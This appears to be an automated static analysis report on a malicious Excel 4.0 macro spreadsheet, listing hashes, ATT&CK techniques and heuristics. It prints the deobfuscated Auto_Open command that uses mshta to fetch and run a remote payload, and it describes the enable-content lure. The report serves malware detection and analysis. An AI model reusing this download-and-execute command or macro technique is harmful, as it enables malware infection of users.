Malicious Office (OLE) / .XLS — malware analysis report

Static analysis result for SHA-256 34d1a3a06ae85be1…

MALICIOUS

Office (OLE) / .XLS

65.5 KB Created: 2022-01-17 17:40:35 Authoring application: Microsoft Excel
MD5: 32a2e9afcd41efa0a889329bc34093f6 SHA-1: 40afa7c56489b1d185f1d73ea880166a8b2941db SHA-256: 34d1a3a06ae85be1cd989d987f1c96b8baef9aa024eeeea08794d57eea0e3709
100 Risk Score

Malware Insights

MITRE ATT&CK
T1204.002 Malicious File: User Execution: Malicious Macro T1059.003 Command and Scripting Interpreter: Windows Command Shell

The sample is an Excel 4.0 macro-enabled spreadsheet. It contains an Auto_Open macro that is configured to execute a command. The command, reconstructed from obfuscated string concatenation, is 'cmd /c msh^t^a h^tt^p^:/^/0xc12a24f5/cc.html'. This command attempts to download a payload from the specified URL. The document body also contains a lure instructing the user to enable editing and content, a common tactic to bypass security measures.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt
0807f652a36752efcd354ce3c536f2fe7ed4cd53a3ff1787c33acb378dda90a0
xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 1073 bytes